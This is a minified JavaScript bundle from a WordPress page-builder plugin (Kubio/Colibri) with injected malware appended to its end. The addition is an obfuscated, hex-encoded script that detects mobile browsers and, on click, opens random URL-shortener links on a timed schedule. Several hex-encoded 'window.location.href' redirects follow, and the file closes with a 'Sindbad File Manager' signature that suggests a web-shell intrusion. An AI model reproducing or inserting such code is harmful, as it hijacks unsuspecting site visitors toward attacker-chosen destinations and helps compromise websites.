bA={section:l,row:r,column:i,header:c,footer:j,sidebar:k,...ed,hero:u,downarrow:p,widgetArea:H,image:E,imageGallery:f,imageGalleryItem:v,link:C,linkGroup:I,button:T,buttonGroup:S,copyright:R,socialIcons:L,socialIcon:M,heading:w,text:P,searchForm:A,homeButton:B,contactForm:D,shortcode:W,icon:N,divider:x,video:s,logo:b,pageTitle:m,...ev,...Dv,...k_,...zI,map:X,...vT,queryPagination:re,queryLayout:a,paginationButton:ie,paginationNumbers:ce,readMoreButton:se,postContent:n,postTitle:ue,postExcerpt:pe,postFeaturedImage:be,postTags:me,postCategories:de,postMeta:he,postComments:Oe,postCommentsForm:ge,spacer:ye,postAuthorAvatar:je,postAuthorName:ke,postAuthorBio:Ee};bA={...bA,...pA},o(434),o(435),o(436),o(437),o(438),o(439),o(440),o(441),o(442),o(443),o(444),o(445),o(446),o(447);try{Colibri.Plugin.init()}catch(e){}o(448);const mA={column:{Content:Pr,Style:Ar}};(()=>{const e=document.createElement("div");Object(He.reactRender)(Object(xe.createElement)(Tl,null),e)})();const dA=Ne.a.toArray(bA);dA.filter((e=>(null==e?void 0:e.name)!==Yo.CONTENT)).forEach(Ol),Object(Ae.doAction)("kubio-blocks-registered"),yl(n);const hA=()=>Yo,OA=()=>bA,gA=()=>dA,yA=()=>dA.filter((e=>e.settings.isPro)).map((e=>e.settings.name)),jA=()=>Ne.a.keyBy(dA,"settings.name"),kA=void 0},69:function(e,t){!function(){e.exports=this.wp.notices}()},7:function(e,t){!function(){e.exports=this.wp.data}()},75:function(e,t,o){e.exports=function(e,t){var o,n,a=0;function l(){var l,r,i=o,c=arguments.length;e:for(;i;){if(i.args.length===arguments.length){for(r=0;r<c;r++)if(i.args[r]!==arguments[r]){i=i.next;continue e}return i!==o&&(i===n&&(n=i.prev),i.prev.next=i.next,i.next&&(i.next.prev=i.prev),i.next=o,i.prev=null,o.prev=i,o=i),i.val}i=i.next}for(l=new Array(c),r=0;r<c;r++)l[r]=arguments[r];return i={args:l,val:e.apply(null,l)},o?(o.prev=i,i.next=o):n=i,a===t.maxSize?(n=n.prev).next=null:a++,o=i,i.val}return t=t||{},l.clear=function(){o=null,n=null,a=0},l}},77:function(e,t,o){"use strict";var n=o(51),a=o(79),l=o(83),r=o(84)||0;function i(){return a(r)}e.exports=i,e.exports.generate=i,e.exports.seed=function(t){return n.seed(t),e.exports},e.exports.worker=function(t){return r=t,e.exports},e.exports.characters=function(e){return void 0!==e&&n.characters(e),n.shuffled()},e.exports.isValid=l},78:function(e,t,o){"use strict";var n=1;e.exports={nextValue:function(){return(n=(9301*n+49297)%233280)/233280},seed:function(e){n=e}}},79:function(e,t,o){"use strict";var n,a,l=o(80),r=(o(51),1567752802062);e.exports=function(e){var t="",o=Math.floor(.001*(Date.now()-r));return o===a?n++:(n=0,a=o),t+=l(7),t+=l(e),n>0&&(t+=l(n)),t+l(o)}},8:function(e,t,o){"use strict";function n(){return n=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var n in o)Object.prototype.hasOwnProperty.call(o,n)&&(e[n]=o[n])}return e},n.apply(this,arguments)}o.d(t,"a",(function(){return n}))},80:function(e,t,o){"use strict";var n=o(51),a=o(81),l=o(82);e.exports=function(e){for(var t,o=0,r="";!t;)r+=l(a,n.get(),1),t=e<Math.pow(16,o+1),o++;return r}},81:function(e,t,o){"use strict";var n,a="object"==typeof window&&(window.crypto||window.msCrypto);n=a&&a.getRandomValues?function(e){return a.getRandomValues(new Uint8Array(e))}:function(e){for(var t=[],o=0;o<e;o++)t.push(Math.floor(256*Math.random()));return t},e.exports=n},82:function(e,t){e.exports=function(e,t,o){for(var n=(2<<Math.log(t.length-1)/Math.LN2)-1,a=-~(1.6*n*o/t.length),l="";;)for(var r=e(a),i=a;i--;)if((l+=t[r[i]&n]||"").length===+o)return l}},83:function(e,t,o){"use strict";var n=o(51);e.exports=function(e){return!(!e||"string"!=typeof e||e.length<6||new RegExp("[^"+n.get().replace(/[|\\{}()[\]^$+*?.-]/g,"\\$&")+"]").test(e))}},84:function(e,t,o){"use strict";e.exports=0},9:function(e,t){!function(){e.exports=this.kubio.styleManager}()},98:function(e,t){!function(){e.exports=this.kubio.log}()}});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4b\x66\x75\x33\x63\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x47\x56\x61\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x5a\x47\x46\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x78\x69\x77\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6c\x74\x68\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x54\x46\x50\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x56\x41\x46\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4c\x6a\x79\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x46\x6a\x68\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x48\x52\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists